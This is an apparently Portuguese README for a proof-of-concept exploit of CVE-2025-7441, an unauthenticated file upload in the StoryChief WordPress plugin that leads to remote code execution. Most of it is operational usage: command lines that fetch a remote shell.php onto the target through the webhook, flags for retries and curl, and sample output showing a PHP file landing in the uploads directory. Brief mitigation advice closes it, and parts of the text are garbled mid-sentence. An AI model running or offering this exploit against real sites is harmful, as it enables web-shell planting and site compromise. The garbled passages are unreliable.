
StoryChief <= 1.0.42 - Upload arbitrário de arquivos sem autenticação
/wp-json/storychief/webhookdata.featured_image.data.sizes.full) e realiza uma requisição HTTP GET no servidor para essa URL sem validação suficiente (sem lista de permissão de domínios, verificações de MIME/conteúdo insuficientes, e os arquivos são salvos em caminhos de upload públicos).wp-content/uploads/YYYY/MM/<filename>). Se o arquivo enviado puder ser interpretado/executado pelo servidor (por exemplo, um arquivo PHP e o servidor permitir execução PHP ali), isso leva à execução remota de código (RCE) e comprometimento total do site.CVE-2025-7441)Este script automatiza o fluxo típico de verificação de exploração da vulnerabilidade:
data.featured_image.data.sizes.full.meta.mac.<site_url>/wp-json/storychief/webhook.<site_url>/wp-content/uploads///
Se o arquivo responder com HTTP 200, o script reporta sucesso; caso contrário, ele exibe <failed to upload>.
O script inclui as seguintes flags: --file-url, --verbose, --use-curl e --retries.
python3 CVE-2025-7441.py <site_url>
<site_url> — URL base do site alvo. Exemplo: http://127.0.0.1:5000/ ou https://target.example/--file-url — Substituir a URL de arquivo remoto padrão usada pelo PoC. Padrão: URL raw do GitHub de exemplo codificada. Exemplo: --file-url https://127.0.0.1:5000/zip.php--verbose — Habilitar saída detalhada (imprime detalhes da requisição/resposta e progresso da verificação).--use-curl — Usar subprocesso curl para enviar o POST (modo de fallback). Requer curl instalado.--retries — Número de tentativas para verificar o caminho de upload esperado para o arquivo. Padrão: 1. Use por exemplo --retries 5 para consultar várias vezes.python3 CVE-2025-7441.py http://127.0.0.1:5000/
Especificar uma URL de arquivo remoto personalizada
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php
Saída detalhada e múltiplas verificações
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php --verbose --retries 5
Usar curl para enviar o POST
python3 CVE-2025-7441.py http://127.0.0.1:5000 --file-url https://example.com/shell.php --use-curl --verbose
output:
[*] Target: https://127.0.0.1:5000
[*] file_url: https://127.0.0.1:5000/ZIP.php
[*] retries: 3
[*] use_curl: False
[+] computed hmac : 3f2a9b0e4d6c5a1f0b9d6e3c2a1f4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1
[*] Sending POST via requests...
[*] POST status: 200
[*] Response body (truncated):
{"permalink":"/wp-content/uploads/2025/10/ZIP.php","id":12345}
[*] Checking (1/3): https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
[+] success! [+]
https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
Mitigação & Remediação Curto prazo:
Atualizar o StoryChief para uma versão corrigida imediatamente quando disponível. Bloquear ou restringir /wp-json/storychief/webhook via WAF ou regras do servidor. Restringir buscas de saída do servidor ou tráfego de egresso para domínios não confiáveis.
Orientação para desenvolvedores:
Validar tipos e conteúdos de arquivos após qualquer busca remota; verificar imagens usando analisadores seguros e rejeitar arquivos inválidos. Exigir autenticação para webhooks que causam downloads ou criação de arquivos no servidor. Garantir que a verificação HMAC/assinatura seja implementada e aplicada. Armazenar conteúdo enviado fora da raiz web ou desabilitar a execução de arquivos enviados em wp-content/uploads